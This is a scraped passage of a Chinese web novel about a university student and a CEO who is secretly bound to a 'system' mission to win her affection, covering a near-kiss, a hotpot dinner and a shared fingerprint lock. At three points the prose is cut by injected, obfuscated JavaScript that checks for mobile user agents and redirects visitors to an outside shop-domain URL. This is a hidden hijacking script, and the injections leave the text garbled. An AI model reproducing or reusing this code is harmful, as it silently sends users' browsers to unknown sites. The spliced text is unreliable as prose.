喜欢。 思绪一息万变,傅延青的脸已近在咫尺,只差一点就要…… 江知意像失去了反应能力,脚被钉在地上,手也黏腻得出了汗。 她是不是应该做些什么? 可傅延青又要做什么呢? 忽然,发顶被谁的手一碰,静止的世界重新运转,江知意如梦初醒,受惊一般向后退去。 再回神,傅延青手里拿着一片落叶,站在那里默默看她。 “你头上的。”他说,“我帮你拿下来了。” “……” “谢谢。”她磕绊道。 好险,原来只是拿落叶。 她还以为他要…… 他不动声色地看了眼他们拉开的距离,扯了个笑:“很晚了,回吧,正好我还有事。” 江知意的心还在扑通扑通跳,她也急需一个人缓缓,所以点了点头:“好。” 原路返回,没多久便回到学校正门。 和傅延青道别,走进学校,江知意才感觉自己僵硬的四肢活过来了。 她随便找了个地方坐下,烦躁得忍不住揉了下自己的头发。 好险好险。 她刚刚差点就自作多情了。 她差点就以为傅延青要亲她了。 他那样看着她,又是那种距离,她鬼使神差就…… 就像被蛊惑了一样。 她怎么能以为傅延青要亲她呢? 不行不行不行。 她不能对傅延青有这种自作多情的想法。 诚然,傅延青对她坦诚了一部分,可他也隐瞒了一部分。 譬如他是什么人,他为什么来,他最初的动机又是什么。 有些事情做朋友可以不闻不问,包容忽略,但再进一步…… 不行。 她不可以有那个想法。 绝对不行。 * 车速飙到最大,开到河边后,车门“砰”地一声响,傅延青下车点了根烟。 一根接着一根,抽到第三根时,系统看不下去,弱弱开口:“宿主……” “别烦我。”傅延青冷冷道。 “……”系统又闭嘴了。 脾气真大,它想。 它不敢说话,只能冷眼旁观。 傅延青抽完了半包烟,仍没有离开的意思,他上了车,撑着方向盘抚上自己的额头,沉沉吐出一口气。 月光落下来,在他脸上蒙上一层阴影。 他久久没有动。 他想起了贺凌舟。 贺凌舟有个白月光女神,人尽皆知。 他在很多事上都没什么恒心和毅力,偏偏对白月光执着得吓人。 白月光拒绝他无数次,说他不是她喜欢的类型,他始终不曾死心。 ——即使她和别人在一起。 女神有对象期间,他消失得仿佛人间蒸发,女神回归单身,他又像没事人一样出现在她身边。 傅延青不明白,为什么可以对一个人喜欢到这种程度,但他不明白归不明白,内心却佩服着贺凌舟的坚持与执着。 这么多年,贺凌舟哭过醉过,唯独没有放弃过。 当然,这么想的不止他一个,连白月光最后也被打动,她坦言,可以和他试一试,因为有些人做朋友不行,做恋人却意外得有感觉。 傅延青作为局外人,旁观着这段感情的发展,想,原来感情也是可以努力就有所得的。 贺凌舟的不放手,终是换来了美人归。 也因此,最初因为任务面对江知意时,傅延青从未想过失败的可能性。 也许有,但那点微不足道的可能性很快就被忽略。 傅延青想,即使他不是江知意喜欢的类型,他也可以像贺凌舟一样,通过坚持和陪伴来打动她。 毕竟习惯和依赖也可以是一种喜欢。 但,一切的一切,都止于今晚。 少女怔怔看着他靠近,没有躲也没有害怕,他以为那就是她的喜欢和回应。 他差一点就要真的吻上她。 可内心深处,一个想法告诉他,这是他喜欢的姑娘,他不可以这么随便。 他要明明白白地表白,等她是他名正言顺的女朋友时,他才可以吻她。 于是他克制着退开,捡走了她发顶一片树叶。 然而她接下来的动作就像一盆冷水一样,劈头盖脸对着他浇下来,浇得他猝不及防,浇得他的心如坠谷底。 她后退了。 更可怕的是她的眼里还闪过一丝慌张和害怕。 ……害怕? 这种久违的情绪,傅延青已经很久没在她眼里看过了。 所以之前的不闪不躲,不是对他的回应,而是她被吓傻了呆住了? 她又害怕他了? 她在怕什么? 他本该理智一点,静下心来好好想想为什么会这样,好好和她谈谈,可人非草木,孰能无情。 他怎么静得下来。 他都快呼吸不过来了。 这么久了,她还是害怕他。 她还是不喜欢他。 傅延青闭上眼,想起贺凌舟的结局。 故事进行到“抱得美人归”那里并没有结束,没多久,白月光提出分手。 分手的原因贺凌舟不愿意提,傅延青也没多问,但现在,他忽然福至心灵,猜到了原因。 ——她还是没那么喜欢贺凌舟。 在一起之前她说试试,试了几个月,最后的结果就是她依然不喜欢贺凌舟。 感情就是这样,勉强不来。 傅延青怎么就忘了呢? 有的人愿意给机会试试,有的人不愿意给,但无论如何,最终的结果都是一样的。 不喜欢就是不喜欢。 就如喜欢高冷寡言的人无论如何不会喜欢上一个话痨,智性恋的人无论如何不会喜欢上一个笨蛋。 这世间的很多事情都可以通过努力取得一二分成果,但感情不行。 至此,傅延青不得不痛苦地承认,他和江知意之间的缘分,或许就到这里了。 他会任务失败,他会忘了她,他会回到书中一遍又一遍重复那些剧情。 而她。 不知道她以后,会不会偶尔想起他。 很久之前贺凌舟的模样出现在他脑海中。 那夜大雨滂沱,云层厚重,天空暗得没有一丝光亮。 白月光说分手,贺凌舟上前挽留。 她表情悲伤地看着贺凌舟,掰开了他的手指。 一根一根,决绝又无情。 然后她撑着伞,头也不回地离开。 身后的贺凌舟站在雨里,大雨将他的头发和衣服浇得透彻,他一言不发望着远去的背影,满脸都是雨和泪。 彼时傅延青看到他的表情,还不明白那是什么意思。 现在他明白了。 ……他全明白了。 * 那天之后,傅延青对她的态度一如往昔。 江知意没有注意到他的变化,只感叹着幸好自己没有自作多情。 她隐隐约约感觉自己心里有什么不一样了,可她不敢深想。 她害怕,害怕到只能用忙碌来麻痹自己。 她忙着学习,忙着准备期末考,忙着让自己不要有时间多想。 只要他们还跟以前一样,就会没事的。 以前都没事,以后也不会有事。 六月中的时候,辩论赛进行到了尾声。 最后一场冠亚决赛,因为林岚对辩题的出色理解,学姐破例让林岚上了场。 那场比赛打得实在精彩,管院超出预期拿下了冠军。 比赛结束那天,林岚抱着她激动得眼眶都湿润了。 江知意伸手回抱住她,陪她好好放松了一下午。 末了林岚问起她的数模结果,江知意笑着比了个“二”的手势。 二等奖。 比所有人想象的都好。 超出预期的好。 林岚惊呆了,激动地扶住她肩膀:“那你要有奖金了啊!二等奖是多少钱?打算拿来干嘛?” 打算拿来…… “想请一个朋友吃饭。”她微笑。 林岚一愣:“哪个朋友?” “不是我们学校的。” “高中同学?还是……”她话锋一转,“平安夜车里等你的那个人?” “你知道他?”江知意一惊。 林岚点头:“看见你俩好几次了,你说的那个朋友是他吗?” 江知意抿了下唇,承认了。 “他不像学生,是社畜吗?” “社畜”这个词听得江知意一愣,随即她点头。 总裁也要上班,上班就是社畜。 “……”林岚观察着她神色,欲言又止,“你和他关系很好吗?” 话说到这个份上,江知意怎么会不懂林岚什么意思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16245502|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她笑着叹了口气:“你想问什么直接问吧,我不介意。” 林岚闻言果然松了口气,不再犹豫:“我的意思是,他看起来太成熟了,那种气质装不出来的,一看就是在社会上摸爬滚打过的人。你和他要是认识不久……还是谨慎些比较好。” 言下之意,就是提醒她小心,她们这种涉世未深的学生玩不过他们的。 “两年。”江知意轻声,“我和他认识快两年了。” “两年……”林岚纠结,“说久不算久,说短也不算短。”她皱眉沉思,慢慢开口,“没事,反正你小心些总没坏处,要是遇到什么事,就给我打电话。” “嗯。”江知意笑笑。 其实她想说,她觉得傅延青不会伤害她。 可世上的事谁又能说得准呢? 谁敢保证没有万一。 傅延青不想说,她可以不问。 那至少,她得守住自己的心。 至少,她得做好随时抽身的准备。 * 晚上回宿舍,江知意给傅延青发消息。 xyz:【你最近有空吗?】 F:【怎么?】 xyz:【请你吃饭呀~】 F:【成绩出来了?】 xyz:【出来了。】 xyz:【二等奖,厉不厉害?】 xyz:【奖金已经到手了,就等你了。】 其实比赛结果一周前就出来了,可那时奖金没到手,她怕出意外,就一直忍着没告诉傅延青。 现在钱到手,她总算有万无一失的底气请他吃饭了。 F:【很厉害。】 F:【后天我有空,想吃什么?】 xyz:【我?】 xyz:【这话应该我问你吧。】 xyz:【我请你,当然是看你想吃什么了。】 F:【那就……】 F:【火锅吧。】 竟然是火锅? 他喜欢吃火锅? xyz:【好啊,你有没有喜欢的店?我查查。】 F:【没有。】 F:【我想在家吃。】 F:【自己煮。】 提到在家煮火锅,江知意不由想起过年那次。 傅延青给她买了新年礼物,陪她过年吃火锅,还陪她搓雪球。 明明已经是好几月前的事,却清晰得仿佛昨日刚发生一般。 那么多美好的瞬间,都是傅延青带给她的。 她的心软下去,打字回复。 xyz:【好。】 xyz:【都听你的。】 * 约定的当天,江知意一进门就看到厨房满当当的菜。 “我走之前让阿姨拿出来解冻的,现在应该刚好。”傅延青在她身后说道。 “那买菜的钱……” “给阿姨吧。”男人轻笑了一下,“她买的,我也不知道多少。” “那你等会儿记得推给我!” 说完钱的事,江知意开始拿碗,一边拿一边说:“你坐吧,今天我来忙。” 说完却不见男人动,她疑惑看去:“怎么了?” 傅延青抱臂站在门边,眼里轻轻的笑意衬得他眼睛尤其温柔好看,他笑着垂眼:“没什么。” 就是觉得她拿碗筷的动作颇有主人的架势罢了。 除了她,也就贺凌舟敢这么随意了。 煮火锅的操作轻便简洁,虽然她说着不用帮忙,但傅延青还是自然而然搭起了手。 等汤底煮开,闻到空气里的香味儿,江知意笑着道:“好香。” 今天的火锅是牛骨清汤底,味道极鲜,鲜红的肉片煮进去滚几下就变成浅粉,配上沙茶酱,堪称人间美味。 这种做法是外地传来,江北市不多见,江知意第一次吃,连眼神都透着满足。 不得不说,虽然她和傅延青吃饭的由头变来变去,但论起品尝美食这一点,还是江知意占的好处更多。 这些她吃都没有吃过的东西,傅延青肯定已经吃过好多次了。 就如现在,主动提出吃火锅的人面对煮好的火锅,却一副兴致缺缺的样子,他拿着筷子偶尔夹几口,吃得极慢,更多的时候,好像在透过氤氲的热气看着她想事情。 “你怎么了?”吃到半饱江知意才发现傅延青的异常,不由问道,“在想事情吗?还是我脸上有东西?” “没有。” “那你怎么不吃?不好吃吗?” “好吃。” 江知意站起来凑近看他:“你有心事?” “……”骤然拉近的距离让他愕然了一瞬,随即他笑,“没有。” 没有,又是没有。 江知意才不信。 “你还记得我之前跟你说的吗?不要瞒我。”她不满地看他,“如果这事和我有关,你记得不要瞒我。” “好。”他没有犹豫。 虽然答应,却没有后续。 他仍没有开口的打算。 问不出结果,江知意恹恹坐回去,连后半顿饭都吃得食不知味。 吃完饭傅延青和她一起去厨房收拾,除了必要的对话,两人之间几乎只剩沉默。 江知意很不喜欢这种感觉,就像她和傅延青之间生了一层无形的隔阂一样。 是因为她刚才多嘴吗? 她是不是不该问那个问题? 收拾完毕,江知意该走了。 她坐在鞋柜边,一边穿鞋一边犹豫着开口。 她其实特别想问傅延青到底怎么了。 直觉上她觉得傅延青的反常和她有关,因为他一直在看她,可话到嘴边,她又问不出口了。 如果傅延青拒绝回答怎么办? 岂不是显得她很没有分寸,显得她对他们的关系很自以为是。 若易地而处,换作是她,被不停地追问不想回答的问题,大概也会觉得很烦吧。 他答应了不会瞒她又怎样。 嘴长在他身上。 他不想说,她也逼不了他。 一双鞋平常只要几十秒就能穿好,今天却穿了两分钟。 江知意越想越气,一抬头,撞上男人的目光,她意识到他又在看她。 只是这次她抬头抬得突然,他眼里有些东西就没来得及收回去。 虽然一闪而逝,但她看到了。 不舍。 竟然是不舍。 他好像很舍不得她,每一眼都蕴含着无数感情,仿佛下一秒她就会消失不见,下一秒他们就会分开。 这一瞬的不舍几乎立刻软化了江知意的情绪,她没了脾气,轻轻问道:“怎么了?” 傅延青的眼神已恢复平静,他目光微垂,说:“有件事要跟你说。” 江知意的心提起,带着一分她自己也没有察觉的期待:“什么?” 40. Round 2 他笑了一下,打开门,站在门口对着她道:“来。” 江知意走到门口。 “伸手。” 她伸手,然后被傅延青握住。 温热的体温,猝不及防的触感,心脏瞬间大起大落如蹦极,她脑子嗡嗡作响,懵得不知今夕是何年,下一秒,傅延青带着她的手向指纹锁按去。 食指按在指纹感应的地方。 一下。 “你干什么?”江知意懵得更彻底了,“这是你家……” “我知道。”他说。 两下。 “你在给我加指纹锁?……这么相信我?不怕我偷东西?”她不安地追问。 “不怕。” 三下。 系统发出“添加成功”的提示音。 “好了。”傅延青放下她的手,“以后想练琴就自己开门,家里的黑胶机我教你用过,想听什么自己放,总之,有需要你随时来就行。” “……”她茫然地看着傅延青,觉得这话像交代后事一样,不由问道,“你呢?” “我有事。之后一段时间我会比较忙,要经常去公司和公出,顾不上给你开门,所以你自己来就行。” ……所以傅延青瞒了一晚上的事是这个? 她觉得不对,可一时半会儿也找不到纰漏。 “会很久吗?”江知意问。 “两个月吧。” 那就是整个暑假。 这么不巧,她忙了一个学期,好不容易暑假闲下来,他却没时间了。 江知意隐隐失落,却还是笑着轻松道:“这就是你今晚一直想和我说的事?你怕我不高兴?没事,你忙吧,反正我们之后还有时间。” ……不。 没有时间了。 傅延青也笑,掩下自己的情绪:“嗯。” “那我就,想来练琴的时候跟你说一声,走的时候也跟你说一声,行吗?” 傅延青点头。 江知意弯了弯眼睛:“好大方,那今年你生日,我给你准备一个大的生日礼物吧,你可以先期待一下。” 生日礼物。 傅延青想起自己随口说的生日在十一月十一。 可惜了。 他收不到了。 “好,我期待一下。”他这么说道。 * 车停在学校门口,江知意解开安全带,没有下车,犹豫了一下开口:“真不凑巧,你有空的时候我在忙,我有空的时候你又要忙了。” 傅延青“嗯”了声:“是很不巧。” “我想了一下。”她酝酿着慢慢道,“下学期我没什么大事,只有开学一个综测要忙几天,大概,等你忙完这段时间,我们就可以多见见了。” 这样简单的一件事,江知意顺理成章地以为他会说好,可是那晚,男人看着她的眼睛,良久道:“再看吧。” 他没有答应。 江知意突然有不好的预感。 * 送完江知意,傅延青开车回家。 在沙发上坐下,他揉着眉心,点燃了一根烟。 夜色深沉,他没有开灯,只有烟头的一点火星隐隐发着光。 他还是没对江知意说出那件事。 系统和任务的事不能说,所以他想了个理由,说公司要拓展业务,搬到海外……总之就是他要走了,九月开始,他们就不会再见了。 结果他看了她一晚上,都没能开得了口。 见江知意之前,他也曾问过贺凌舟。 贺凌舟大惊,问为什么他们九月就不能再见了,他答:到时候你就知道了。 说来说去,他想问的只是如何开这个口。 贺凌舟一脸奇怪地看他:“你们又没在一起,她又不喜欢你,有什么不能说的?直接说啊,一个朋友还需要这么正式的道别?” 傅延青摇头,闭上眼:“因为我答应了她一件事。” 现在他要走了,那件事也做不到了。 “哦,你怕她生气是吧?”贺凌舟懂了,“那也没办法啊,这是不可抗力,当初答应的时候谁又能想这么远?你好好跟她解释一下,她应该会理解吧。” “再说,你都要走了,你们今后不会见面了,她生气了又能怎么样呢?” 傅延青:“……” 她生气是不能怎么样。 可他不想让她生气。 在遇到江知意以前,他也没想到自己还会有这么优柔寡断的一面。 连一个告别都无法干脆利落地说出口。 大概,是他怕她一气之下立刻离开吧。 如果知道他骗了她,她大概又会变回最初那个满眼警惕的江知意。 他不说,或许他们还能有最后的两个月时间。 火光在黑夜里渐渐熄灭,傅延青低下头,一年前的对话在脑海里回荡。 ——时间?可以啊,十年。你能在我身边待十年我就相信你。 ——好,十年。 彼时他不觉得自己会失败,轻易许下承诺。 他总想着任务成功后,他可以留在江知意的世界永远和她在一起,所以十年根本不是问题。 现在看来,是他天真了。 ……他会失败。 他也有做不到的事情。 一次不行还有第二次,可第二次也不行,他就没有以后了。 将近两年,二十二个月他都没能得到江知意一百的好感度,他凭什么相信会在剩下两个月发生奇迹? 不会有奇迹了。 他要失约了。 答应她的十年,他做不到了。 * 六月底,各科陆陆续续开始期末考。 江知意顺利通过了篮球考试,不仅如此,还拿了个不错的分数。 除了她,一起上课的女生也都通过了考试。 杂七杂八的公共课考完,剩下的就是最难的专业课。 考试周的安排表已经出来,图书馆和教学楼的空教室无论何时都坐满了人。 复习期间,江知意收到了江淮平的消息,问她暑假怎么安排,回家住吗,她草草打了几个字说不回。 江淮平回了些不痛不痒的话,让她照顾好自己,没有再多问。 至于苏语琴——她一次都没找过她。 江知意对此毫不在意,她已经申请好了教师宿舍,从上大学的那天起,她就默认了苏语琴和江淮平不会再管她,默认以后只剩她一个人。 既然已经默认,那之后无论怎样,她都不会更失望。 和大多数人一样,林岚也为期末考忙得焦头烂额,偶尔她们一起吃饭,说起暑假的事,林岚说,今年她要出去旅游和学车,要是结束得早,她就提前返校来陪她。 江知意笑着说好。 专业课内容多,难度大,江知意不敢懈怠,全神贯注准备着考试,等最后一门课考完,距离上次见傅延青也已经过去了半个月。 同学和舍友一个接一个地离校,七月艳阳天,她搬完宿舍才有空坐下来,想一想傅延青说过的话。 那天晚上她说等他忙完了可以多见见,他没有答应,她心下不安,如今再想,她还是不安。 傅延青能有什么不答应的理由呢? 是他遇到了麻烦,处理的时间很难界定,所以才模棱两可地带过? 是因为他说的那个同父异母的……弟弟吗? 她发着呆想了一会儿,突然意识到现在是暑假了。 不用上课,不用复习,她有充足的时间随时去找傅延青。 习惯了从早忙到晚的日子,骤然有了大把的时间,江知意还有些不习惯,她站起来,决定现在就去找傅延青碰碰运气。 如果他不在,那她就顺便练会儿琴。 坐车来到傅氏集团的大楼前,江知意走进去,前台已经眼熟她,没等她开口就主动送她上了电梯。 电梯停在三十五层,整个楼层空荡荡的,她走到总裁办门前,敲了敲门。 没人。 傅延青不在。 倒是助理不知从哪里冒出来,在她身后试探着道:“江小姐?” 她转过身:“你们傅总呢?” “傅总出去了。”助理走到她面前,熟练地回应,“他没说什么时候回来,如果您想等他,我给您开门;如果您不想等,我安排车送您回去。” 他说得仔细,想来这些都是傅延青交代给他的。 江知意看了看总裁办的门。 这么忙啊…… 她摇了下头,笑道:“算了,改天我再来吧。” “那我给您安排车……” “谢谢,不用了。” 她转身离开,又凭着记忆去了傅延青的家。 输入楼门锁的密码,进电梯,最后来到傅延青家门前。 向上推开指纹锁的金属盖,她将食指放上去。 系统发出识别通过的提示音,接着咔嚓一声响,门开了。 家里空荡荡的,同样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16297291|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有人。 江知意走进去,看着偌大的房间,心里仍有种不真实感。 她竟然就这么进来了。 傅延青就这么把随意出入自己家的权限交给她了。 她坐在鞋柜边换鞋,一个不敢想的猜测在心里越发清晰,或许,她对于傅延青真的很特别,很重要。 既然如此,那件他不想说的事,瞒就瞒吧。 每个人都有难言之隐,她理解的。 她换上拖鞋走进客厅,欣赏了会儿挂在墙上的画,接着又去翻黑胶。 傅延青按年代和曲风做了分类,大部分她都没听过,江知意想了想,从中抽了张爵士出来。 唱针放好,黑胶开始转动,悠扬的爵士缓缓响起。 是TheInkSpots的《IfIDidn''tCare》。 IfIdidn''tcaremorethanwordscansay. 倘若我不在乎,我怎会满腹话语口难开。 IfIdidn''tcarewouldIfeelthisway. 倘若我不在乎,我怎会感觉到思绪万千。 …… 这一待就待到傍晚。 傅延青还没回来,江知意只能遗憾离开。 这是她第一次来这里没有见到傅延青。 走到楼下,她回头看隐入夜色的房间,骤然生出一种傅延青离她既近又远的感觉。 近是他给了她诸多特权,让她随意出入他的私人空间; 远是……只有他想见她的时候,她才能见到他。 也是在这一刻江知意意识到,她来找他,不是为了问他有什么麻烦,也不是为了问他为什么不答应,更不是为了练琴。 她只是单纯地,想见他。 * 傅延青确实如他所说,之后一段时间忙得厉害,连回她消息的速度都慢了很多。 他在忙,江知意也没闲着,一边零零散散挣生活费,一边自学外语。 每一周她都会挑一天去傅延青那里碰运气,前三次都不巧,没遇到他,直到第四次她坐电梯下楼,才在开门的瞬间见到了他。 大抵是他一路的冷气都很足,故而他还是一身西装领带的商务打扮。 黑色西装裁剪得体,领带和扣子系得一丝不苟,再往下是…… 她送的袖扣。 银色的袖扣作为点睛之色戴在他袖子上,意外的好看。 更重要的是,原来她送的礼物他真的有在用。 他真的有在重视她的心意。 她的心软软地化开,微妙的雀跃在心中升起:“傅延青?” 傅延青好似也怔了几秒,闻言回过神,淡淡一笑,走进电梯关上门:“找我?” 江知意点头又摇头。 她想见他,可她见他又没什么事。 “有事吗?”他继续问。 江知意摇头。 “那是?” “是……” 傅延青按了三十五,电梯开始上升,她眨了下眼,说不出想见他,一时情急,编了个蹩脚的理由:“学校太热了,想来这里蹭蹭你的空调。” “……”男人一怔,忍不住笑开,“这样。” 他点头:“好,你来吧,来了让助理给你开门就行。” 说到开门,江知意问:“你的办公室还有谁能用?” “没了。” “没了?” “不然呢?”他好笑看她,“总裁办公室,他们是总裁吗?” 江知意:“……” 那她呢? 她也不是总裁,为什么许她用? 她不好意思问出口,不自然地抿了下唇,转移话题道:“晚上要不要一起吃饭?” “不太行。”傅延青蹙眉,“已经和人约好了。” “……”她微微失望,“好吧,没关系,下次吧。” “想一起吃饭了?”傅延青问她。 江知意点头。 “那就……”他略一思索,“明天吧,明天晚上我去接你。” “不用,我在这儿等你就行,我还要蹭空调呢。” 他忍不住又笑了。 电梯到了,傅延青带她到办公室,一边拉开抽屉取了个文件,一边对她道:“我还有事,现在就要走,你一个人回可以吗?” “当然可以。”她连忙点头。 “好。”他看了眼时间,轻轻弯唇,“明天见。” 41. Round 2 “真的会?”江知意的心再度提起,一时连呼吸都不顺了。 傅延青看她两秒,摇头:“不会。” “你……!”江知意又气又想笑,嘴角绷直又扬起,“到底会不会啊?” “不会。”傅延青语气平静,眼里闪过一点笑意,“我还不至于赢不过一个傅呈远。” “那你好好的吓我!” 平白害她担心! 江知意很不满,嘴角的笑却怎么压也压不住,等终于绷直嘴角,她故作严肃道:“下次再这样我就生气了。” 提到“下次”,男人的笑意变得缥缈,他点头:“好,没有下次。” 傅延青是个守诺的人,听他如此说,江知意总算放心。 车行驶在公路上,一路安静。 到学校门口时,江知意解开安全带说:“傅延青。” “嗯?”男人转过头看她。 “晚安。”她浅浅一笑,开门下车。 留下的傅延青对着空座位怔了片刻,才弯唇回道:“晚安。” * 知道傅延青不会输,江知意安心了不少。 漫长燥热的夏天因为傅延青的空调,也变得不再难以忍受。 她越来越熟练自如地出入傅延青的家和办公室,对他东西的摆放位置也越来越熟悉。 极少数的情况,她会遇到上门找傅延青吃饭的贺凌舟。 打开门的一刻,贺凌舟看着她愣了愣,接着挑眉:“你也在?傅延青呢,叫他一起出来吃饭吧,我找到一家……” “傅延青不在。”江知意摇头,及时打断道。 “不在?他出去了吗,什么时候回来?” “不知道,我来的时候他就不在。”江知意疑惑,“你找他怎么不先问问他在不在?” “这不是路过吗?”贺凌舟取出手机正要打字,忽地意识到什么,震惊看她,“你说你来的时候他就不在?那你怎么进来的?” “就……”江知意伸出手指,指了指门锁的位置。 贺凌舟:“???” 他回头看看指纹锁,又转回来看她,目瞪口呆。 “……怎么了?”江知意忐忑道。 看贺凌舟的反应,这好像是一件很不可思议的事。 怎么了? 傅延青不该把门锁权限交给她吗? 以为贺凌舟在担心她贪图钱财,江知意正色认真道:“我不会动傅延青的东西的,他相信我。” “……”被她的反应逗笑,贺凌舟忍不住道,“我也没说担心你动他东西。” 花都让她碰了,剩下的东西还有什么可担心的? “那你的表情……” “咳咳。”贺凌舟掩饰地移开目光,思考几秒,说道,“你知道我和傅延青认识多少年了吗?” “很多年?”江知意猜不出具体,只能回答个大概。 “是。”贺凌舟点头,靠在门边眯了眯眼,似陷入回忆,“七八年了吧。” 说完话锋一转:“可即使这样,他也没给过我指纹权限。” “平常要是有阿姨来家里收拾,拿的也是钥匙。”贺凌舟继续,“这么多年,我就没见他给过谁指纹权限。” 他看过来,直视她的眼睛,笑了笑:“你是第一个。” 江知意:“……” 她抿唇,想起那晚傅延青带她按指纹的模样。 彼时她不知道这个举动意味着什么,现在再看,大概寓意着独一无二和极致的特殊。 “妹妹。”贺凌舟走进来,慢吞吞在鞋柜边坐下,仰头看她,“你不觉得他对你很特殊吗?” “……”江知意点头,“觉得。” “那你觉得他怎么样?” 江知意:“……” 觉得傅延青怎么样? 很好啊。 这是她的第一个想法。 可贺凌舟想听的大概不是这个,于是她思考着慢慢道:“情绪稳定,温柔,耐心,包容,聪明,果断……” 贺凌舟:报菜名呢这是? 还有,这个妹妹口中的傅延青怎么和他认识的傅延青不太一样? 温柔,耐心,傅延青??? 他真的很难把这几个词和傅延青联想在一起。 “等等。”贺凌舟拧眉,忍不住打断,“全是优点,没有缺点?” “有啊。”江知意一脸认真,“他不会篮球。”说完又想起一个,“哦对,他还不会做饭。” 贺凌舟:? 这都什么跟什么? 这也能算缺点? “还有呢?”贺凌舟继续问。 如果在她眼里傅延青没有缺点,那她怎么会不喜欢傅延青? “还有……”江知意陷入沉思,蓦地灵光一闪,“还有他抽烟。” 傅延青已经很久没在她面前抽过烟,以至于想缺点的时候,她险些忘了这一点。 她不喜欢烟味儿,但这只是她个人喜好,傅延青能在她面前一根烟都不抽,这已经让她觉得他很尊重她了。 他喜欢抽烟,她不能强求他改变。 “抽烟……”贺凌舟摸着下巴,若有所思,“抽烟,嗯,是个麻烦。” 他看向她:“那他的长相呢,你觉得帅吗?” ……这是什么诡异的问题? 但贺凌舟这么问了,傅延青的样子就自然而然出现在她脑海中。 男人永远西装领带一丝不苟,五官冷峻,气质冷然,说帅的话,确实是很帅很好看,她甚至能自动幻想他低头理袖口的模样。 白皙的皮肤上布着隐隐若现的青筋血管,手指均匀修长,弧线轮廓美好,骨节弯曲之间,几乎每一根线条都写满了性张力。 江知意的脸突然一热,连忙收起那些想法,言简意赅道:“帅。” 真的很帅。 至少在学校她没见过比傅延青还帅的。 得到肯定答复,贺凌舟意味深长地笑了笑:“看来你对他印象不错?你觉得他很好?” 江知意点头。 贺凌舟抚额,莫名其妙叹了一口气。 那就怪了,都这样了还不喜欢傅延青,是嫌他抽烟,还是嫌他不是她喜欢的类型? 贺凌舟不说话,江知意好奇道:“你问这些是……” “没什么。”他放下手,“难得见他给人指纹权限,好奇八卦一下。既然他不在,那我撤了。” 贺凌舟起身向门口走去。 走了几步开了门,又折回来道:“妹妹,我多嘴一句,有些东西如果你不争取,失去后会后悔的。” 看她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16334106|171738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样子,傅延青大概还没说九月后就不会再见面的事。 傅延青说她不喜欢他,可他看来,他们之间也不像完全没可能。 说多错多,怕傅延青嫌他多事,贺凌舟便只能这么委婉地提醒一句。 有些人如果不争取,失去后会后悔的。 门关上,贺凌舟离开,江知意站在原地还有些茫然。 那句话是什么意思? 什么东西她不争取就会后悔? 傅延青? 也不对。 她和傅延青只是朋友,谈何失去? * “她不喜欢烟?”傅延青淡淡撇过来,“我知道,怎么了?” “你不打算做点什么?”贺凌舟问。 落地窗前夜景繁华,灯红酒绿,人潮不息。 “做点什么?自从知道她不喜欢烟,我一次也没在她面前抽过。”男人搅了搅咖啡,低头喝下。 “比如戒烟?”贺凌舟挑眉,“当然,你要是喜欢烟超过她,就当我没说。” “……”傅延青放下杯子,顿了顿道,“戒烟?” “嗯哼。”贺凌舟隔空举杯,朝着他的方向碰了一下,“帮你问过了,这是你在她眼里唯一的缺点,不客气。” 唯一的缺点? 除了抽烟,他在她眼里竟然没有别的缺点了吗? 半晌,傅延青道:“我想想吧。” “其实我觉得你们之间也不像完全没可能。”贺凌舟沉吟,“要不你再问问?别到最后弄出个误会。” 误会吗。 傅延青道:“我有分寸。” 是不是误会,其实只要看最后说告别时她的反应就知道了。 他比任何人都希望他们能在一起。 * 深夜,傅延青中途醒来便睡不着,索性下床去了阳台。 那里的花还是被养得很好,郁郁葱葱一片,鲜活而有生命力。 月光倾泻一地,他搬了椅子坐在阳台门外,习惯性地想点一根烟,却响起贺凌舟跟他说过的话。 ——“她不喜欢烟。” ——“这是你在她眼里唯一的缺点。” 男人的手顿了顿,放下烟,将烟塞回烟盒。 他伸手撑上额头,低低叹了一口气。 她不喜欢烟,可她不知道,这烟也是这个世界强加给他的一部分。 傅呈远需要一个金手指,所以他出现了。 金手指需要有权有势有能力,所以他摸爬滚打,锻炼出了这些能力。 金手指需要外在的细节丰富人设,体现上位者的气质,所以他多了抽烟的设定。 ……从一开始,这些就不是他的自愿。 不,这么说就太矫情了。 设定是设定,但手长在他身上,他有尝试过放弃抽烟吗? 傅延青不喜欢推卸责任,不喜欢把自己摘得干干净净的白莲花行为,他低头看着手里的烟,一扬手,烟盒飞进了垃圾桶。 他知道自己的任务很快会失败,他很快会像书里的其他角色一样没有记忆地一遍遍走剧情,他不会记得今天这些事。 可至少,至少最后的半个月,他想试试。 这个世界设定他有抽烟的习惯,他偏不。 